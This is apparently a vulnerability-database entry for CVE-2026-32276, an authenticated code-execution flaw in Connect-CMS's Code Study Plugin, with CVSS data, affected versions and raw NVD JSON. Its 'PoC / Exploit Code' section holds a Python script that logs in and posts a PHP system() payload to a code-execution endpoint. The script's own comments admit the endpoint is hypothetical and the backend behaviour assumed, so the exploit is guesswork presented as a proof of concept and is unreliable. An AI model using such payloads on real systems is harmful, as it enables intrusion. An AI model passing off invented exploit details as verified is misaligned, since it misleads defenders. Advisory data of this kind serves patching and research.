Security Vulnerability Report
中文
CVE-2026-32276 CVSS 8.8 HIGH

CVE-2026-32276

Published: 2026-03-23 22:16:27
Last Modified: 2026-03-24 19:58:17

Description

Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, an authenticated user may be able to execute arbitrary code in the Code Study Plugin. Versions 1.41.1 and 2.41.1 contain a patch.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:* - VULNERABLE
Connect-CMS 1.x <= 1.41.0
Connect-CMS 2.x <= 2.41.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-site.com" username = "low_priv_user" password = "password" # Create a session to maintain cookies session = requests.Session() # 1. Authentication step login_payload = { "account": username, "password": password } login_response = session.post(f"{target_url}/login", data=login_payload) if login_response.status_code == 200: print("[+] Login successful") # 2. Exploit Code Study Plugin RCE # The endpoint below is hypothetical based on the plugin name exploit_url = f"{target_url}/code_study/execute" # Payload to execute system command (e.g., 'id' or 'whoami') # Assuming the backend executes PHP or similar code directly 恶意载荷 = "<?php system('whoami'); ?>" exploit_data = { "code": 恶意载荷, "id": "1" } response = session.post(exploit_url, data=exploit_data) # 3. Check output if response.status_code == 200: print("[+] Exploit sent successfully") print("[+] Response:") print(response.text) else: print("[-] Exploit request failed") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32276", "sourceIdentifier": "[email protected]", "published": "2026-03-23T22:16:27.050", "lastModified": "2026-03-24T19:58:16.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, an authenticated user may be able to execute arbitrary code in the Code Study Plugin. Versions 1.41.1 and 2.41.1 contain a patch."}, {"lang": "es", "value": "Connect-CMS es un sistema de gestión de contenido. En versiones de la serie 1.x hasta la 1.41.0 inclusive y versiones de la serie 2.x hasta la 2.41.0 inclusive, un usuario autenticado podría ejecutar código arbitrario en el plugin Code Study. Las versiones 1.41.1 y 2.41.1 contienen un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.41.1", "matchCriteriaId": "60B8BBDF-82BD-486D-AE17-7F59360E62C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:opensource-workshop:connect-cms:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.41.1", "matchCriteriaId": "0C11B4F0-DF29-473A-A285-9DA152DDCDE1"}]}]}], "references": [{"url": "https://github.com/opensource-workshop/connect-cms/commit/c0bcd07fc1e9375941aa1295d044328ecd44ed85", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v1.41.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v2.41.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opensource-workshop/connect-cms/security/advisories/GHSA-hxqw-6qv7-cqfv", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}